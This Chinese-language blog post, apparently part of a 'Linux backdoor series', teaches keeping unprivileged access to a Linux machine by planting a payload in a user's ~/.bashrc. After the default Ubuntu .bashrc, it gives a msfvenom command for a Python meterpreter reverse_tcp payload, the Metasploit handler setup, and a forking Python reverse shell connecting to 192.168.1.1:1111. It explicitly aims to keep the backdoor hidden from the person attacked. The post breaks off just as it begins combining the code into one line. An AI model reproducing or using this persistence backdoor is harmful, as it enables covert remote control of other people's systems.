一个 Linux 权限维持小 tip ｜ Linux 后门系列

简介

前一段时间，朋友问了一个这样的问题：Linux 普通权限，没有crontab 之类的，如何做权限维持。我之前介绍过好多好多种 Linux 权限维持的方法，大多数还是基于 root 权限的，如果不提权的话，有些手法还是受限的，比如 motd，服务之类的。

于是，我选择了最简单的配置文件 ~/.bashrc 这个文件是在所属用户每次登录的时候会自动进行执行配置的一个文件，当然，前提得是用户系统使用的 shell 是 bash

但这都不是什么重点，主要是这里要介绍一个之前没有介绍过的小技巧

简陋的操作

默认 Ubuntu Server 18.04 中 ~/.bashrc 中内容如下：

代码语言：javascript复制

# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color|*-256color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
 # We have color support; assume it's compliant with Ecma-48
 # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
 # a case would tend to support setf rather than setaf.)
 color_prompt=yes
    else
 color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot: ($debian_chroot)}[33[01;32m]u@h[33[00m]:[33[01;34m]w[33[00m]$ '
else
    PS1='${debian_chroot: ($debian_chroot)}u@h:w$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="[e]0;${debian_chroot: ($debian_chroot)}u@h: wa]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '''s/^s*[0-9] s*//;s/[;&|]s*alert$//''')"'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

我们虽然喜欢称之为配置文件，但是其实本质上就是一个 shell 脚本，用来加载各种配置，所以我们只要在脚本中放入要执行的命令就可以了，这没有什么难的，比如我们使用 msf 生成一个 Python木马，放入到这个配置文件中

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1111 -f raw

这样在每次当前这个用户登录的时候（包括 ssh 登录）就会执行这些 Python 代码，从而反弹shell

use exploit/multi/handler

set payload python/meterpreter/reverse_tcp

set lhost 192.168.1.1 按照实际情况填写监听 IP

set lport 1111 按照实际情况填写监听端口

exploit

此时监听已经建立，我们重新登录试一下

成功反弹shell

但是，这里有个严重的问题

如果我们的监听没有配置、网络不通畅或者其他种种原因，那我们的登录就会变成下面这样

一直卡在这里，其实也就是卡在了我们的后门执行上，等待一段时间就会出现

虽然此时可以 ctrl c 来中断，但是这样也就直接将后门暴漏给被攻击者了，所以我们之前介绍去的方法中都是通过 python fork() 来解决的

说到底，我们就是希望，我们的程序和登录本身并行执行，那我们新创建一个进程就好了,于是有了下面常规的操作

常规的操作

使用 python3 的 fork

代码语言：javascript复制

import os,socket,subprocess;
ret = os.fork()
if ret > 0:
    exit()
else:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("192.168.1.1", 1111))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        p = subprocess.call(["/bin/sh", "-i"])
    except Exception as e:
        exit()

我们组合成一行